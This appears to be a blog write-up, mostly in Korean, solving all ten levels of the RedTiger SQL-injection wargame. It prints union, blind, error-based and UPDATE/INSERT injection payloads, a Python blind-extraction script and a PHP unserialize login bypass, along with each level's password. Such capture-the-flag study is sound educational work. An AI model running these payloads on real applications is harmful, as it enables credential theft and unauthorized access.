Post

Redtiger

Redtiger

Link : redtiger.labs.overthewire.org/

1
2
3
4
5
6
7
8
9
10
Level 1	Simple SQL-Injection	      solved by 17326 hackers
Level 2	Simple login-bypass	      solved by 12402 hackers
Level 3	Get an error	              solved by 3753 hackers
Level 4	Blind Injection	              solved by 2316 hackers
Level 5	Advanced login-bypass	      solved by 1996 hackers
Level 6	SQL-Injection	              solved by 1363 hackers
Level 7	SQL-Injection	              solved by 1078 hackers
Level 8	SQL-Injection	              solved by 987 hackers
Level 9	SQL-Injection	              solved by 902 hackers
Level 10		              solved by 802 hackers

Level 1

1
2
3
4
5
6
7
8
9
10
11
12
13
Welcome to level 1

Lets start with a simple injection.

Target: Get the login for the user Hornoxe
Hint: You really need one? omg -_-
Tablename: level1_users

Category: 1

This hackit is cool :)
My cats are sweet.
Miau

Solution

1
2
3
4
5
6
7
8
9
?cat=1 -> cat이 category를 뜻하는 변수임.

우선 ?cat=2을 해봄.

-> This category does not exist!

카테고리 부분이 제대로 나올 때 까지 값을 줘보았음.

?cat=1 union select 1,2,3,4
1
2
3
4
5
6
7
8
Category: 1

This hackit is cool :)
My cats are sweet.
Miau

3
4
1
2
3
4
5
6
7
총 4개의 컬럼을 가져오는 것을 확인.

또한 숫자형 밖에 안들어감. -> '', "" 들어가면 오류

Hint로 level1_users 테이블명을 알려줌. 그래서 컬럼명을 알아내려 했으나 실패함.
컬럼명을 Guessing으로 해서 password, id 컬럼명을 알아냄.
가진 값 모두를 확인해보고자 함.
1
2
3
4
5
?cat=1 union select 1, 2, group_concat(password), group_concat(id) from level1_users
-> 
thatwaseasy
1
따라서 비밀번호는 thatwaseasy
1
2
3
4
5
6
You made it!


You can raise your wechall.net score with this flag: []

The password for the next level is: passwords_will_change_over_time_let_us_do_a_shitty_rhyme
1
2
Cookie 값 설정
level2login : passwords_will_change_over_time_let_us_do_a_shitty_rhyme

Level 2

1
2
3
4
5
6
Welcome to level 2

A simple loginbypass

Target: Login
Hint: Condition

Solution

1
2
3
4
5
6
입력을 처음엔 숫자형을 해봄.
-> Login incorrect!

입력을 '1, '1'로 해봤더니 오류가 뜸.
"1", "1" 은 에러 안뜸.
1'
1
2
3
mysql_num_rows() expects parameter 1 to be resource, 
boolean given in /var/www/html/hackit/level2.php on line 48
Login incorrect!
1
2
3
4
5
6
7
8
9
username : 1
password : ' or 1 #


access granted

You can raise your wechall.net score with this flag: []

The password for the next level is: feed_the_cat_who_eats_your_bread
1
2
Cookie 값 설정
level3login : feed_the_cat_who_eats_your_bread

Level 3

1
2
3
4
5
6
7
8
9
Welcome to Level 3

Target: Get the password of the user Admin.
Hint: Try to get an error. 
Tablename: level3_users

Show userdetails:
TheCow
Admin
1
2
3
4
5
6
7
?usr=MDYzMjIzMDA2MTU2MTQxMjU0
Show userdetails:
Username:	TheCow
First name:	Walter
Name:	Willi
ICQ:	123456789
Email:	cow@timbuktula.ccc
1
2
3
4
5
6
7
?usr=MDQyMjExMDE0MTgyMTQw
Show userdetails:
Username:	Admin
First name:	Andy
Name:	Soffkopf
ICQ:	133773311
Email:	admin@site.de

Solution

1
2
3
4
5
6
7
8
9
힌트가 에러를 일으키라고 함.

?usr[]=1

preg_match() expects parameter 2 to be string, 
array given in /var/www/html/hackit/urlcrypt.inc on line 26

urlcrypt.inc에서 실행하였고, 여기로 가보면 코드가 나와있음.
코드를 가져와서 5.3버전에서 실행시켜봄.

PHP 5.X online ide : sandbox.onlinephpfunctions.com/

1
2
3
4
5
6
7
5.3.15부터 잘 나옴.

코드 마지막에 아래 코드 추가.
echo decrypt('MDQyMjExMDE0MTgyMTQw');
-> Admin

이 코드를 이용해서 sql injection을 하면 됨.
1
2
우선 컬럼을 userdetails에 있는 값에 따라 5개를 예상했으나 쿼리가 틀린 듯함.
해서 id, password도 있다고 생각하고 7개의 값을 union으로 줬더니 아래와 같이 나옴.
1
2
3
4
5
Username:	2
First name:	6
Name:	7
ICQ:	5
Email:	4
1
2
3
4
5
따라서 
' union select '1',group_concat(password),'3','4','5','6','7' from level3_users#
위 코드를 암호화하여 나온 값을 넣어주면 아래와 같이 출력됨.

asdf�$23�56wdf,thisisaverysecurepasswordEEE5rt
1
2
3
4
5
6
7
thisisaverysecurepasswordEEE5rt

Login correct. You are admin :);

You can raise your wechall.net score with this flag: []

The password for the next level is: put_the_kitten_on_your_head
1
2
Cookie 값 설정
level4login : put_the_kitten_on_your_head

Level 4

1
2
3
4
5
6
7
8
9
10
Welcome to Level 4

Target: Get the value of the first entry 
        in table level4_secret in column keyword
        
Disabled: like -> ?id=1 like -> disabled

Click me[Link] -> ?id=1

Query returned 1 rows.
1
2
3
4
5
6
Notice: 

Level4 is the only level you need to exploit blindly to get the value
I know that my anti-blind-checks are not very consistent. 
So find the right way to exploit the levels. 
Anyway, have fun!

Solution

1
2
3
4
5
6
?id=1 -> 1 row
?id=0 -> 0 row
?id=1 union select 1 -> 0 row
?id=1 union select 1,2 -> 2 row -> 2개의 컬럼 존재

쿼리를 예상해보면 order by {GET['id']} 인 듯함.
1
2
3
4
5
6
7
8
9
level4_secret 테이블의 keyword 컬럼 값을 가져와야 함.
우선 가져올 값의 길이를 확인해보니 길이는 21이였음. 
길이가 길어서 비트값으로 확인하도록 하였음.


if((select ascii(substr(keyword,1,1)) from level4_secret limit 1),1,0)
-> row 1

이를 통해 blind sql injection 진행하면 됨.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests

url='http://redtiger.labs.overthewire.org/level4.php'
headers={'Content-Type':'application/x-www-form-urlencoded'}
cookies={'level4login':'put_the_kitten_on_your_head'}

keyword=''
for i in range(1,22):
    bit_len=0
    bit=''
    print("I : {}".format(i))
    payload={'id':"if((select length(bin(ascii(substr(keyword,"+str(i)+",1)))) from level4_secret limit 1)=7,1,0)"}
    res=requests.get(url, headers=headers, cookies=cookies, params=payload)
    if "Query returned 1 rows." in res.text :
        bit_len=7
    else :
        bit_len=6
    
    for j in range(1,bit_len+1) :
        payload={'id':"if((select substr(bin(ascii(substr(keyword,"+str(i)+",1))),"+str(j)+",1) from level4_secret limit 1)=0,1,0)"}
        res=requests.get(url, headers=headers, cookies=cookies, params=payload)
        if "Query returned 1 rows." in res.text :
            bit+='0'
        else :
            bit+='1'
    keyword+=chr(int(bit,2))    
    print("keyword : {}".format(keyword)) # killstickswithbr1cks!
1
2
3
4
5
6
7
killstickswithbr1cks!

Word correct.

You can raise your wechall.net score with this flag: []

The password for the next level is: this_hack_it's_old

Level 5

1
2
3
4
5
Welcome to Level 5

Target: Bypass the login
Disabled: substring , substr, ( , ), mid
Hints: its not a blind, the password is md5-crypted, watch the login errors

Solution

1
2
3
4
5
6
7
8
9
10
11
12
13
일단 컬럼을 2개를 가져오고 
username이 있으면 그거에 대한 pw를 검사하는 듯함.

힌트에서 비번은 md5 암호화되었다고 했음.
따라서 db에는 암호화된 값이 있을 것임.

근데 ' or 1 #, 1 -> login fail 이라 함.
admin이 들어있는 것 같은데 admin으로 시도하면 disabled 됨.

따라서 union으로 id, pw 값을 넣어주어야 함.

' union select '1','c81e728d9d4c2f636f067f89cc14862c' #
2 (md5 암호화 하면 c81e728d9d4c2f636f067f89cc14862c)
1
2
3
4
5
6
Login successful!


You can raise your wechall.net score with this flag: []

The password for the next level is: the_stone_is_cold

Level 6

1
2
3
4
5
6
7
8
9
10
Welcome to Level 6

Target: Get the first user in table level6_users with status 1

Click me -> ?user=1

Notice: Undefined index: user in /var/www/html/hackit/level6.php on line 11
Username:	deddlef
Email:	dumbi@damibi.de

Solution

1
2
3
4
5
?user=1~4 까지 있음.
5를 입력하니 값이 없다는 에러가 출력됨.

Trying to get property of non-object
-> NULL 포인터 접근 시 발생
1
2
3
4
5
6
7
8
0 union select 1,2,3,4,5 # -> 컬럼은 총 5개 가져옴.

문자형을 입력해보았더니 문법적으로 쿼리가 틀렸다는 에러 발생
0 union select '1',2,3,4,5

hex 값으로 넣으면 문자도 들어가서 
0x27를 넣어봤더니 2에서만 안들어가짐.
-> mysql_num_rows() expects parameter 1 to be resource
1
2
3
4
5
6
7
8
9
10
11
12
쿼리를 생각해보면..

id 값이 1~4까지 있고, 5개의 컬럼을 우선 가져오도록 되어있음.

단순히 여기서 그치면 0 union select 1,2,3,4,5로 했을 때,
쿼리 결과가 나왔어야 하지만 나오지 않고, User not found가 뜸.

즉, id 값을 통해 먼저 결과를 가져오고,
2차로 가져온 결과 값을 쿼리로 다시 보내서 가져오는 듯함.

ex) username='{result['username']}' and email={result['email']}
한가지 의문점은 email 부분은 어떻게 되어 있는가 하는 점임..
1
2
3
4
5
6
7
8
1 union select 1,0x2727,2,3,4,5
그래서 2번째 컬럼 입력 부분에 0x2727를 입력 -> 에러 x

그 다음 '='을 hex로 입력 -> 0x273D27 -> id=1 출력
하지만 0x273127 -> '1' -> 쿼리 틀렸다는 에러 발생.

따라서 쿼리가 예상한 대로 username 부분은 감싸져 있음을 알게됨.
해서 여기에서 값을 가져와야 될 듯함.
1
2
3
4
입력 -> ' union select 1,2,3,4,5 #
출력 ->
Username:	2
Email:	4 
1
2
3
4
5
6
7
8
9
입력 -> ' union select 1,id,3,password,5 #
출력 ->
Username:	1
Email:	dumbidu

첫 유저는 id=1인 deddlef이므로 pw에 dumbidu 입력
-> Login correct, but the status is not 1

따라서 status 값이 1인 pw를 가져와야 함.
1
2
3
4
5
6
7
' union select 1,id,3,password,5 from level6_users where status=1 #

Username:	3
Email:	m0nsterk1ll

id=admin
pw=m0nsterk1ll
1
2
3
You can raise your wechall.net score with this flag: []

The password for the next level is: shitcoins_are_hold

Level 7

1
2
3
4
5
6
7
8
Welcome to Level 7

Target: Get the name of the user who posted the news about google. 
Table: level7_news column: autor


Restrictions: no comments(주석), no substr, no substring, 
              no ascii, no mid, no like

Solution

1
2
3
4
5
6
7
8
입력 -> '

An error occured!:
You have an error in your SQL syntax; 
check the manual that corresponds to your MySQL server version 
for the right syntax to use near 

'%' OR text.title LIKE '%'%')' at line 1
1
2
3
4
5
SELECT 
  news.*,text.text,text.title 
  FROM level7_news news, level7_texts text 
  WHERE text.id = news.id 
  AND (text.text LIKE '%'%' OR text.title LIKE '%'%')
1
2
3
4
5
6
7
8
입력 -> ''
-> 잘 나옴

따라서 입력값이 들어가는 부분은 여기임.
(text.text LIKE '%{input}%' OR text.title LIKE '%{input}%')

우리는 level7_news의 google 게시글을 작성한 author 값을 가져와야 함.
그러면 우선 news의 컬럼이 몇 개인지 알아야 함.
1
2
3
4
5
6
7
8
9
입력 -> goo%') union select ",2,3,4,('

(text.text LIKE '%goo%') 
  UNION SELECT 
",2,3,4,('%' OR text.title LIKE '%goo%') union select ",2,3,4,('%')


An error occured!:
The used SELECT statements have a different number of columns
1
2
3
4
5
6
7
8
9
10
수정 -> goo%') union select ",2,3,(' 
출력 -> 
google 게시글

%
3

따라서 컬럼 개수는 4개로 news에 id, author가 있음.
이제 author 값을 출력하면 됨. 
3 자리에 다 넣으면 됨.
1
2
3
4
5
6
7
입력 -> 
goo%') union select ",2,(select group_concat(autor) from level7_news where id=3),('

출력 ->
google 게시글
%
TestUserforg00gle
1
2
3
4
5
User correct.

You can raise your wechall.net score with this flag: []

The password for the next level is: or_so_i'm_told

Level 8

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Welcome to Level 8

Target: Get the password of the admin.

Username: Admin
Email: [hans@localhost]
Name: [Hans]
ICQ: [12345]
Age: [25]
[Edit]


Username : []
Password : [][Login]

Solution

1
2
입력 -> email='
출력 -> '12345', age = '25' WHERE id = 1' at line 3

출력된 에러를 보면서 쿼리를 추측해보았음.

1
2
3
update {table} 
  set name='{input}', email='{input}', icq='{input}', age='{input}' 
where id=1
1
2
3
4
5
6
7
email에 입력을 해주니 '을 입력해도 escape string이 붙지 않음.
따라서 여기에서 공격을 해줘야 함.

우리는 admin pw가 필요함. 컬럼은 아마 password

입력 -> ', name=(select password), email='a
email='', name=(select password), email='a', icq='{input}', age='{input}'
1
2
3
4
5
6
Username: Admin
Email: [a]
Name: [19JPYS1jdgvkj]
ICQ: [12345]
Age: [25]
[Edit]
1
2
3
4
5
Login correct. You are admin :);

You can raise your wechall.net score with this flag: []

The password for the next level is: network_pancakes_milk_and_wine

Level 9

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Welcome to Level 9

Target: Get username and password of any user. 
Tablename: level9_users

This is not a blind injection. 
There is a way to get some output back:)

Autor: RedTiger
Title: Lorem ipsum
aa~~~

Name : []
Title : []
[     ][제출]

Solution

1
2
3
4
5
6
7
제출 부분이 insert로 되어있는 듯하며 text 부분에서 공격이 될 듯함. 

text 부분에 값을 넣어보니 =이 필터링 되어 있음. 
따라서 8번처럼 해보는 것은 불가능.

해서 updatexml를 이용한 error based sql injection 진행.
쿼리를 생각해보면 다음과 같음.
1
INSERT into level9_users(author,title,text) values('{}','{}','{}')
1
2
3
4
5
6
7
입력 -> 
'),((select username from level9_users),(select password from level9_users),'1

출력 ->
Autor: TheBlueFlower
Title: this_oassword_is_SEC//Ure.promised!
1
1
2
다른 방법도 있음. 
error based injection에 updatexml을 이용한 injection이 있음.
1
2
3
4
5
입력 ->
a' or updatexml(2,concat(0x2e,(select username from level9_users)),0) or '

-> XPATH syntax error: '~TheBlueFlower'
-> XPATH syntax error: '~this_oassword_is_SEC//Ure.promi'
1
2
3
해봤는데 안됨! 값은 저거 하나 뿐인데..
비밀번호 길이를 보니 35임. 짤린 것 같음.. 
이 방법으로는 안될 듯 함.
1
2
username : TheBlueFlower
password : this_oassword_is_SEC//Ure.promised!
1
2
3
4
5
Login correct.

You can raise your wechall.net score with this flag: []

The password for the next level is: whatever_just_a_fresh_password

Level 10 (풀이 봄)

1
2
3
4
Welcome to Level 10

Target: Bypass the login. 
Login as TheMaster

Solution

1
2
3
4
<form method="post">
<input type="hidden" name="login" value="YToyOntzOjg6InVzZXJuYW1lIjtzOjY6Ik1vbmtleSI7czo4OiJwYXNzd29yZCI7czoxMjoiMDgxNXBhc3N3b3JkIjt9">
<input type="submit" value="Login" name="dologin">
</form>
1
2
3
4
5
6
7
8
9
b64 decode를 해봄.
-> a:2:{s:8:"username";s:6:"Monkey";s:8:"password";s:12:"0815password";}

unserialize 함수가 이용됨.
PHP unserialize 취약점이 있음.

이 문제는 쿼리를 불러오는 것이 아닌듯함..
쿼리문을 생각하고 계속 풀었는데 결국 풀이를 보니.....
단순히 그냥 비교를 하는 듯 함.. bb
1
2
3
4
5
6
7
PHP에서 비교를 할 때 == 으로 비교를 하게 되면
if("test" == True) -> True가 되버림.

따라서 이를 이용하여 password 값에 True를 주면
비교를 할 때 True가 되어 login이 될 것임.

a:2:{s:8:"username";s:9:"TheMaster";s:8:"password";b:1;}
1
2
3
4
client=new XMLHttpRequest();
client.open('POST', "http://redtiger.labs.overthewire.org/level10.php", true)
client.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
client.send("login=YToyOntzOjg6InVzZXJuYW1lIjtzOjk6IlRoZU1hc3RlciI7czo4OiJwYXNzd29yZCI7YjoxO30=&dologin=Login");
1
2
3
4
5
6
Welcome TheMaster.
You solved the hackit :)

You can raise your wechall.net score with this flag: []

The password for the hall of fame is: make_the_internet_great_again
This post is licensed under CC BY 4.0 by the author.